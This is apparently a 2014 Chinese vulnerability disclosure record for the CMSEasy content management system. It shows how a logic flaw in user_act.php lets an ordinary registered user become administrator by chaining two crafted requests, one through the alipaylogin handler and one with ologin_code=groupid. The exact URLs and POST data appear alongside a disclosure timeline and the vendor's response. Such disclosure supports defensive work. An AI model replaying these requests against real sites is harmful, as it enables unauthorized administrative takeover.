漏洞概要
关注数(24)
关注此漏洞
漏洞标题:cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗)
提交时间:2014-11-10 10:01
修复时间:2015-02-08 10:02
公开时间:2015-02-08 10:02
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向第三方安全合作伙伴开放
2015-01-04: 细节向核心白帽子及相关领域专家公开
2015-01-14: 细节向普通白帽子公开
2015-01-24: 细节向实习白帽子公开
2015-02-08: 细节向公众公开
简要描述:
cmseasy 逻辑缺陷可升级普通用户为管理员
详细说明:
user_act.php(130-155):
第一步 我们注册一个为test 密码为 111111的用户
然后发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
第二步:
$post[$classname] = session::get('openid');
这里 我们给$post传递进去了groupid 但是有个问题 session::get('openid') 并不存在 所以执行后 test用户的groupid 为0
那么下来我们在继续找一下
line 157-172:
这里我们看看是不是要写session 其他的认证信息 我们都忽略 我们只关心这里的openid生效不 可控不
当$classname为alipaylogin.php时候 我们跟进去
if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为在这之前全是配置信息的东西
我们直接看这里
发现没有openid完全可控制
我们发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test
这时候我们的openid被设置为了2
那么我们回头在看看
发送url:
http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
这时候 看看 我们的test用户组为:
我们在登陆后台看看
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2014-11-10 10:16
厂商回复:
漏洞已经通过其他渠道得知,切所有描述相同。。。
最新状态:
暂无